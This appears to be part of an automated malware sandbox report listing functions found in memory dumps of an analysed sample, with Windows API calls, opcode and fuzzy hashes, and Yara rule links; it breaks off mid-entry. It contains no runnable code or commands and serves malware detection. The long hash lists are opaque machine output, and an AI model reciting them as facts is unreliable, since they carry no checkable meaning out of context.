APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7721c0e023be7c7b5ab259f61c48c35c8d8d68045a1d8502a9b5076876c60616
Instruction ID: e94ee49f798bba523125644d6bee74197a927ba51387f26422c623d243f9a5ee
Opcode Fuzzy Hash: 7721c0e023be7c7b5ab259f61c48c35c8d8d68045a1d8502a9b5076876c60616
Instruction Fuzzy Hash: BF521574A05228CFDB64EF74C88879DB7B6BB48305F5044EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 009273C3, Relevance: 2.1, APIs: 1, Instructions: 575libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c7574ed3be1c48c34292fe8cf486dab4275e52fdf5aee085f889eb2571736626
Instruction ID: 17c3925147eef42c562f321c2e634fd3ef39b39006e5b62a96fda08a79c5344a
Opcode Fuzzy Hash: c7574ed3be1c48c34292fe8cf486dab4275e52fdf5aee085f889eb2571736626
Instruction Fuzzy Hash: 68520474A05228CFDB64EF74C88879DB7B6BB48305F6044EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0092740A, Relevance: 2.1, APIs: 1, Instructions: 566libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4e1a1906693848192ea022f168bcb6452aa3bb09e3f616dc0e0938b2b11ea7b1
Instruction ID: 3da2ea89e63c3cfe7e30209139d575853bc88a53d976d229ed10a8d0455b02e1
Opcode Fuzzy Hash: 4e1a1906693848192ea022f168bcb6452aa3bb09e3f616dc0e0938b2b11ea7b1
Instruction Fuzzy Hash: 64420474A05228CFDB64EF74C88879DB7B6BB48305F6044EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00927448, Relevance: 2.1, APIs: 1, Instructions: 561libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cacbc020f201003124f0bcbe77e2b0f43a463effb1184c90f9a3f1853b803632
Instruction ID: e7130fd9d364d8b132e54ccee26224a57ea53903106c499edcc0bddc5a57edac
Opcode Fuzzy Hash: cacbc020f201003124f0bcbe77e2b0f43a463effb1184c90f9a3f1853b803632
Instruction Fuzzy Hash: 60420474A05228CFDB64EF74C88879DB7B6BB48305F6044EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0092748F, Relevance: 2.1, APIs: 1, Instructions: 552libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 13081539347b1fe7d90cacc852ec9aab3c50196b36f8d39db929de8364bf78cd
Instruction ID: d41808b6d7226b3c7a86d952da603a4c04dbf7c40d39c652c91d073e65598631
Opcode Fuzzy Hash: 13081539347b1fe7d90cacc852ec9aab3c50196b36f8d39db929de8364bf78cd
Instruction Fuzzy Hash: 67421474A05228CFDB64EF74C88879DB7B6BB48305F5044EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 009274CD, Relevance: 2.0, APIs: 1, Instructions: 547libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8006160e8ce51fc05ae9695e1f586ad2c52d62cc70386aa8815a7d0cbdf76dba
Instruction ID: 0c0fee0a09423a3853d692def2662aca0bf7db30f49226396f67f441d54d2200
Opcode Fuzzy Hash: 8006160e8ce51fc05ae9695e1f586ad2c52d62cc70386aa8815a7d0cbdf76dba
Instruction Fuzzy Hash: 6F421474A05228CFDB64DF74C88879DB7B6BB48305F5084EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00927514, Relevance: 2.0, APIs: 1, Instructions: 540libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5421a2b3b4b5fa0244d8fb1877528ee1f156b7f0ffad01991f70665cdae16d70
Instruction ID: e87870388b8b02535e242da69e9bb97e80d3ced337cdacd5069ac0154b80c24d
Opcode Fuzzy Hash: 5421a2b3b4b5fa0244d8fb1877528ee1f156b7f0ffad01991f70665cdae16d70
Instruction Fuzzy Hash: E7421574A05228CFDB64DF74C88879DB7B6BB48305F6084EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 0092755B, Relevance: 2.0, APIs: 1, Instructions: 533libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8add5659a5bc863ea7c9945a241db9dc92facd71ca47891e6de2c1b939cb29b3
Instruction ID: 70a2dd135d94ff31d7234772533aa625b2efab705a143f7508450de1fd351353
Opcode Fuzzy Hash: 8add5659a5bc863ea7c9945a241db9dc92facd71ca47891e6de2c1b939cb29b3
Instruction Fuzzy Hash: A4421574A05228CFDB64DF74C88879DB7B6BB48305F6084EAD50AA3754CB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 009275A2, Relevance: 2.0, APIs: 1, Instructions: 526libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 27806bc5296f373a3acd46dc06e7cd8d1aa0aa6e92aa2485c926241ee290bb57
Instruction ID: 40c90274ac266ff0c4057daa310c32d343fce7f3d1ccb4d341fbc6f236bc8e7c
Opcode Fuzzy Hash: 27806bc5296f373a3acd46dc06e7cd8d1aa0aa6e92aa2485c926241ee290bb57
Instruction Fuzzy Hash: BE421574A05228CFDB64EF74C88879DB7B6BB48305F5084EAD50AA3354DB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 009275E9, Relevance: 2.0, APIs: 1, Instructions: 519libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 566edd811ad9794a5ea22d53391322bebeb192d9df5d3454a228c806f3042869
Instruction ID: c865a275f18bdb6b64a30fc7cec2b327581efb1e35586e48ea6f49b18115e644
Opcode Fuzzy Hash: 566edd811ad9794a5ea22d53391322bebeb192d9df5d3454a228c806f3042869
Instruction Fuzzy Hash: FF321474A05228CFDB64DF74C88879DB7B6BB48305F5084EAD50AA3354DB389E86CF15

Uniqueness

Uniqueness Score: -1.00%

Function 00927630, Relevance: 2.0, APIs: 1, Instructions: 510libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5d733338c000b2b016d44fb9e3242bc914e9dade12b3544c831b4fc20e1bd2d6
Instruction ID: 76d924f647f51caeb78d6fbffc58b6b092f090387dd99782a67cd61d2f614fed
Opcode Fuzzy Hash: 5d733338c000b2b016d44fb9e3242bc914e9dade12b3544c831b4fc20e1bd2d6
Instruction Fuzzy Hash: 06321474A05228CBDB64DF74C88879DB7B6BB48305F6084EAD50AA3354DB389E86CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0092766E, Relevance: 2.0, APIs: 1, Instructions: 505libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 81248731ce57338f3fd2536e8e0e07b4e1542c5d71274e260124a74623f28491
Instruction ID: f350612551ca95ed8768f1f98b834983bda4304130d4d3a7c52eee9871b96e4a
Opcode Fuzzy Hash: 81248731ce57338f3fd2536e8e0e07b4e1542c5d71274e260124a74623f28491
Instruction Fuzzy Hash: 7F320474A05228CBDB64DF74C88879DB7B6BB48305F5084EAD50AA3354DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009276B5, Relevance: 2.0, APIs: 1, Instructions: 496libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9f83f55c65730d14e1b16827cf8ea9c1b050f667c4a24912aafdf1850f5b34b1
Instruction ID: 91236ea6927213a6ec1366c5f8526db9b895d995e7e9afda44d338282a1ea4ad
Opcode Fuzzy Hash: 9f83f55c65730d14e1b16827cf8ea9c1b050f667c4a24912aafdf1850f5b34b1
Instruction Fuzzy Hash: E8320574A05228CBDB64DF74C88879DB7B6BB48305F5084EAD50AA3354DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009276F3, Relevance: 2.0, APIs: 1, Instructions: 491libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3eac9fa29c5191307ea1f713d712a1b8cae31e83d4e382452b0ba1db98326210
Instruction ID: 52831e8bab27b5f5ef758a677daa2c0cc2c30a86d89434211dce903c2ff29332
Opcode Fuzzy Hash: 3eac9fa29c5191307ea1f713d712a1b8cae31e83d4e382452b0ba1db98326210
Instruction Fuzzy Hash: 503204B4A05228CBDB64DF74C88879DB7B6BB48305F5084EAD50AA3354DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0092773A, Relevance: 2.0, APIs: 1, Instructions: 484libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6f2d16964f03a72c220c6f09a94e6b8ef52e4a78ddf8825c6806974a2fd1df7c
Instruction ID: 4436394e963eef55581ac4a600303c16ee275570803a46aeeb56200e3c235615
Opcode Fuzzy Hash: 6f2d16964f03a72c220c6f09a94e6b8ef52e4a78ddf8825c6806974a2fd1df7c
Instruction Fuzzy Hash: BA321574A05228CFDB64DF74C88879DB7B6BB48205F6084E9D50AA3354DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00927781, Relevance: 2.0, APIs: 1, Instructions: 477libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 730eb3bef1b81a789076cd6147a965379a79a1bed5441c328db13cdcf17f9ac4
Instruction ID: 255f30e8fac9feb33dca526e5af73d37110a3601c57c4eefb92596bd5473b38c
Opcode Fuzzy Hash: 730eb3bef1b81a789076cd6147a965379a79a1bed5441c328db13cdcf17f9ac4
Instruction Fuzzy Hash: A92214B4A05228CFDB64DF74C88879DB7B2BB48205F5084EAD50AA3354DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009277C8, Relevance: 2.0, APIs: 1, Instructions: 470libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 76124825a15ab16ac937aa03d46eed54403b91a9ccfa4b29d30090c646133568
Instruction ID: 463127e256579e0d5a5e26f0d29ba4e88af727663007272317b010fdcc98c4e4
Opcode Fuzzy Hash: 76124825a15ab16ac937aa03d46eed54403b91a9ccfa4b29d30090c646133568
Instruction Fuzzy Hash: 9A2205B4A05228CFDB64EF74C88879DB7B2BB48205F5084E9D50AA3354DF389E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0092780F, Relevance: 2.0, APIs: 1, Instructions: 463libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2d882903123427e0520cbce2ec405761a2349dc7454c7479efc86ebc8cb005bd
Instruction ID: 6a9f73b3e9b082507f689698ece7d04f728e63c3889678f93fe3a41f8be82aab
Opcode Fuzzy Hash: 2d882903123427e0520cbce2ec405761a2349dc7454c7479efc86ebc8cb005bd
Instruction Fuzzy Hash: 932203B4A05228CBDB64DF74C88879DBBB2BB48305F5084E9D50AA3354DF389E86CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00927856, Relevance: 2.0, APIs: 1, Instructions: 456libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 080f811949aeb048ae16e239902d7d537689ee2856939cdd39a9792a1c4822d6
Instruction ID: af6f13d2ef55cbbaa49073ddf6999ccbcd5c16a153befc33435f0d2095025a15
Opcode Fuzzy Hash: 080f811949aeb048ae16e239902d7d537689ee2856939cdd39a9792a1c4822d6
Instruction Fuzzy Hash: 662206B4A05228CFDB64DF74C88879DB7B2BB48205F5084E9D50AA3754DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0092789D, Relevance: 1.9, APIs: 1, Instructions: 449libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 01eb9c610ddcfbdd377a5bc0022575a9542b52de255a83c9517dc5c004723947
Instruction ID: 72078955d4071a2de95160ddc0cc8227611904835efadf08639af3c8da651c87
Opcode Fuzzy Hash: 01eb9c610ddcfbdd377a5bc0022575a9542b52de255a83c9517dc5c004723947
Instruction Fuzzy Hash: 5E2205B4A05228CFDB64DF74C88879DBBB2BB48205F5084E9D50AA3754DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 009278E4, Relevance: 1.9, APIs: 1, Instructions: 442libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1f4fe658827f33c7a9fd558c4650dac32dd7235e7419327f5e4acaaeda307868
Instruction ID: 3e0a898c07eb225d232bd2e45d380228e70d67951924e29b02c1ac6b8eacd29d
Opcode Fuzzy Hash: 1f4fe658827f33c7a9fd558c4650dac32dd7235e7419327f5e4acaaeda307868
Instruction Fuzzy Hash: 711205B4A05228CBDB64DF74C88879DBBB2BB48205F5084E9D50AA3754DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0092792B, Relevance: 1.9, APIs: 1, Instructions: 435libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00927A7F

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7625c6941ef703410a12ebd0058b95311d70da7aa14b84949a790b2e9f54f6cf
Instruction ID: 385df1d06d2c0dc1a987d1ba9148cac4927d9c0f7583a79ab02ac88f808435c4
Opcode Fuzzy Hash: 7625c6941ef703410a12ebd0058b95311d70da7aa14b84949a790b2e9f54f6cf
Instruction Fuzzy Hash: 381206B4A05228CBDB64DF74C88879DB7B2BB48205F5084E9D50AA3754DF389E86CF54

Uniqueness

Uniqueness Score: -1.00%

Function 1DB253F0, Relevance: 1.8, APIs: 1, Instructions: 291COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1DB257B6

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6c3ed76f70d340fba7cf9f522cdddade5ad30b7021ea2db2dfebca73cd8ab08f
Instruction ID: 3baf3a3ff8d832bc7c4caf6aaffa48023cc0eea663629f8c9d6ad08137cf38dc
Opcode Fuzzy Hash: 6c3ed76f70d340fba7cf9f522cdddade5ad30b7021ea2db2dfebca73cd8ab08f
Instruction Fuzzy Hash: F0B1DD75A047058FCB04DF69C48096EB7F6FF88614B418629D90BDB761EB34F806CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1DB267ED, Relevance: 1.6, APIs: 1, Instructions: 127COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1DB2690A

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 04f529a1f817b29b2d7ec5865578150595e0083178e667803d57b46f63d8e16b
Instruction ID: dfac2e874400dcc669c56028716da8f1fb2e011de2e49f2f84ca81a722f3ec16
Opcode Fuzzy Hash: 04f529a1f817b29b2d7ec5865578150595e0083178e667803d57b46f63d8e16b
Instruction Fuzzy Hash: 0E51C1B1D00209DFDF14CF99D884ADEBBB5FF48310F60812AE819AB210D775A985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1DB267F8, Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 1DB2690A

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 29f3870cc03812c6f93b7034f949d6d316f3609e6a9928880683a9df9e389f1e
Instruction ID: 393a8b1c3136169c80809c78007d22743d76644d1d688a695a2ff9bf76e12cb0
Opcode Fuzzy Hash: 29f3870cc03812c6f93b7034f949d6d316f3609e6a9928880683a9df9e389f1e
Instruction Fuzzy Hash: 34419EB1D00349DFDB14CF99C884ADEBBB5FF88310F64852AE819AB210D775A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 1DB2A144, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 1DB2B4E1

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: b688b8e7a39598c3b02353868ecde6dce407b72643bacb56d969ac87af94bd43
Instruction ID: 15f382e384932275730208635ca657a2992902ad9aa227f6ba9ff83de203640d
Opcode Fuzzy Hash: b688b8e7a39598c3b02353868ecde6dce407b72643bacb56d969ac87af94bd43
Instruction Fuzzy Hash: 2B416BB5900309CFDB04CF95C488AAABBF5FF88710F24C449E51AAB325D735E841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C1C23B, Relevance: 1.6, APIs: 1, Instructions: 96threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(-91556D2E), ref: 00C1C2C5

Memory Dump Source

Source File: 0000000C.00000002.5749719483.0000000000C1C000.00000040.00000001.sdmp, Offset: 00C1C000, based on PE: false

Similarity

API ID: TerminateThread
String ID:
API String ID: 1852365436-0
Opcode ID: 67e2dbc09d354eb64a0572bbf929703777602529c7fbf9caf67f3bcfa6506147
Instruction ID: 77a808069e025c1fba9ddfa4d5ecb0983a62bcc851914eed90d985c1253c430e
Opcode Fuzzy Hash: 67e2dbc09d354eb64a0572bbf929703777602529c7fbf9caf67f3bcfa6506147
Instruction Fuzzy Hash: E23107716183468FC7659F3889E87E737A2AF53310F998299DC958F262D73588C8D302

Uniqueness

Uniqueness Score: -1.00%

Function 00925CF9, Relevance: 1.6, APIs: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 00925DC8

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 4a33305462e8567c00f5c4e91f699f8baf0caf4a2d98440a3ef3dd545e8d07c4
Instruction ID: c61581ba0b3fedb5bac4c99b799f92d2aa00a47a614a93de6da8d2b55693b826
Opcode Fuzzy Hash: 4a33305462e8567c00f5c4e91f699f8baf0caf4a2d98440a3ef3dd545e8d07c4
Instruction Fuzzy Hash: 8831FF71E007198FCB00CFA9D448BAEBBF4EF49310F15866AD518A7381D738A901CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB2A54A, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1DB2A5D7

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fc5b6761074ea8e8cad5ed43ba8f1c53470930e8fa3cfaecd093ec2bda283580
Instruction ID: 50ee03b5ee6e9bbe11b21cb8b962152434febcb7b3d8b90c2e93bc26b523b98d
Opcode Fuzzy Hash: fc5b6761074ea8e8cad5ed43ba8f1c53470930e8fa3cfaecd093ec2bda283580
Instruction Fuzzy Hash: 7421E5B5900249DFDB10CFA9D885AEEBBF4EB48310F14841AE959A3310D375A955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB2A550, Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 1DB2A5D7

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5ad76445b1bd4d3b4810406a3b0ed92eecba7f1d31fd4e12104ed12843b187a3
Instruction ID: 1f055635a74587ffea6a876cf655fa3d6949db63d98741da534e069e8bff2cb0
Opcode Fuzzy Hash: 5ad76445b1bd4d3b4810406a3b0ed92eecba7f1d31fd4e12104ed12843b187a3
Instruction Fuzzy Hash: 6521B3B5900249DFDB10CFA9D984ADEBBF8EB48310F14841AE959A3310D374A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00924898, Relevance: 1.6, APIs: 1, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000), ref: 00925DC8

Memory Dump Source

Source File: 0000000C.00000002.5747239032.0000000000920000.00000040.00000001.sdmp, Offset: 00920000, based on PE: false

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ab59323dabb7bc7b64c726fc310ecdf08f367b4dae200c72bde54a840d1ae3d6
Instruction ID: cab82c2deea2121f5bbf7935939c9d733d3334bd4c5c23a9a930c153ead030b6
Opcode Fuzzy Hash: ab59323dabb7bc7b64c726fc310ecdf08f367b4dae200c72bde54a840d1ae3d6
Instruction Fuzzy Hash: 6E2149B1C00A199FCB10DF99D44879EFBB4EF48310F11856AD918A7340D734A941CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB25749, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1DB257B6

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 723c2bf47b650156e04e4e61eb5781f1a2db8ecd0e5424a3cb2f6a1a35da23be
Instruction ID: 9dfe8a5cce969067bc2074e3869330174123379708301e60e98f5d365a8fb27a
Opcode Fuzzy Hash: 723c2bf47b650156e04e4e61eb5781f1a2db8ecd0e5424a3cb2f6a1a35da23be
Instruction Fuzzy Hash: 7111E4B6800649DFDB10CF9AD444ADEFBF8AB89720F10841AD45AA7610D375A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1DB237C8, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 1DB257B6

Memory Dump Source

Source File: 0000000C.00000002.5776077362.000000001DB20000.00000040.00000001.sdmp, Offset: 1DB20000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 55d6603a805da0424d51e50572ef05f3c3b75e13c8638bc7069a06cd19c7d9dd
Instruction ID: 5c18b79375238380f7e58d061e86c15b028bbbc561037ad36f0699782fc6e68a
Opcode Fuzzy Hash: 55d6603a805da0424d51e50572ef05f3c3b75e13c8638bc7069a06cd19c7d9dd
Instruction Fuzzy Hash: 511112B6804649CFDB10CF9AD444A9EFBF4EB88620F50841AD96AA7310C374A545CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DAAD4C4, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.5774653448.000000001DAAD000.00000040.00000001.sdmp, Offset: 1DAAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c2a750d37864d1adb6db045915b74cdc7889b6e47031e58cda01200ad15a8f
Instruction ID: 570561e65491fa5fe16f184c89a6c207dd566db3d83a762f4560738e86268185
Opcode Fuzzy Hash: 37c2a750d37864d1adb6db045915b74cdc7889b6e47031e58cda01200ad15a8f
Instruction Fuzzy Hash: 18210375504246DFDF01DF18D9C0B26BF65FB88718F24C669E9890B206D376E446CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1DAAD3D8, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.5774653448.000000001DAAD000.00000040.00000001.sdmp, Offset: 1DAAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90d88f66ba0c061dbaae16dd631d98a12385cb7c69c69f69be6051088e4c0e8a
Instruction ID: 82ace57291f05cc6e3b546e2d7474bcdd9f2a15458bd90b95a770574542a734f
Opcode Fuzzy Hash: 90d88f66ba0c061dbaae16dd631d98a12385cb7c69c69f69be6051088e4c0e8a
Instruction Fuzzy Hash: 61210379504345DFDF01DF18D9C0B26BB65FB88724F20C669E9494B206D33AE446CBE2

Uniqueness

Uniqueness Score: -1.00%

Function 1DABD01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.5774993346.000000001DABD000.00000040.00000001.sdmp, Offset: 1DABD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b0d3f578d4dd33bc4134f1ec57e65ddf533a2f983c39b64c54ac6fd0def801b
Instruction ID: 56ab4036386f578770a8bd5868850d22500b98b4823518904a9f62d49ea296cb
Opcode Fuzzy Hash: 6b0d3f578d4dd33bc4134f1ec57e65ddf533a2f983c39b64c54ac6fd0def801b
